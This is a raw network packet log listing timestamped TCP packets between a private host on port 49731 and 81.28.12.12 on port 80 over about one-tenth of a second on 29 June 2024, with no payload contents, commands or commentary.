Jun 29, 2024 08:05:14.847373009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847383976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847394943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847398996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847415924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847419024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847419024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847431898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847440004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847464085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847464085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847507000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847521067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847536087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847553968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847565889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847585917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847614050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.849056005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.849071026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.849087000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.849114895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.849144936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.849209070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.849222898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.849237919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.849252939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.849289894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.849289894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.850265026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850290060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850303888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850342989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.850372076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.850399971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850414038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850436926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850452900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850462914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.850466967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.850480080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.850508928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.851464987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.851478100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.851528883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860318899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860378027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860404015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860419989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860466957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860467911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860490084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860505104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860522032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860534906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860564947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860589027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860606909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860621929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860636950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860678911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860678911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860831022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860853910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860868931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860884905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860884905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860902071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860912085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860912085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860918045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860930920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860934019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860946894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860949993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860966921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860971928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860971928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860982895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.860991001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.860999107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861006975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861027002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861047029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861124039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861179113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861193895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861227036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861257076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861268997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861284018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861298084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861313105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861339092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861366987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861485958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861500978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861515045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861530066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861540079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861546040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861561060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861562014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861577034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861577988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861593008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861602068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861602068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861609936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861620903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861639977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861659050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861829042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861843109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861859083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861872911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861886978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861887932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861888885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861901999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861917019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861917019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861918926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.861941099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861942053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.861959934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862102032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862117052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862131119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862153053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862165928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862169027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862184048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862183094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862199068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862206936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862215042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862226009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862246990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862289906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862385035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862400055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862413883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862427950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862442970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862445116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862445116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862457991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862464905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862473011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862507105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862507105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862651110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862665892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862680912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862694979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862698078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862709045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862724066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862724066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862724066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862739086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.862746954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862770081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.862791061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863389015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863435030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863459110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863475084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863496065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863512039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863518000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863518953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863538027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863555908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863615990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863632917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863686085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863805056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863831043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863846064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863857985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863873005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863876104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863894939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863915920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863923073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863940001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.863969088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.863998890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.864012957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.864027023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.864075899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.936801910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.936863899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.936881065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.936897039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.936944962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.936959982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.936959028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.936975002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.936992884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.936995029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937021017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.937021017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.937055111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.937066078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937081099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937117100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.937117100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.937166929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937181950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937196970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937231064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.937248945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.937253952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937268972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.937314034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938571930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938596964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938610077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938623905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938657999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938658953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938678026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938693047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938734055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938734055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938760042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938776016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938791037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.938800097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938817978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.938848019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.939816952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.939841032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.939853907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.939865112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.939904928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.939919949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.939949989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.939960003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.939960003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.939960003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.939960003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.939965010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.940010071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.940010071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.940032005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.940045118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.940085888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.949867010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.949920893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.949959993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.949978113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950007915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950017929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950027943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950031996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950054884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950077057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950077057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950109005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950119019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950134993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950164080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950206041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950236082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950251102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950265884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950279951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950294971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950295925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950311899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950315952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950339079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950370073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950418949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950433969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950479031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950489044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950504065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950532913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950536013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950577974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950578928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950589895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950606108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950620890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950637102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950656891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950680971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950757980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950773001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950787067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950799942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950813055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950841904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950903893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950918913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950939894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950954914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.950957060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950984001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.950984001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951030970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951047897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951062918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951076984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951090097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951092005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951112986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951116085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951132059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951142073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951147079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951163054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951164961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951178074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951193094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951215982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951387882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951402903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951457024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951459885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951472044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951487064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951500893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951519966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951541901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951566935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951581001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951595068 CEST	80	49731	81.28.12.12	192.168.2.4
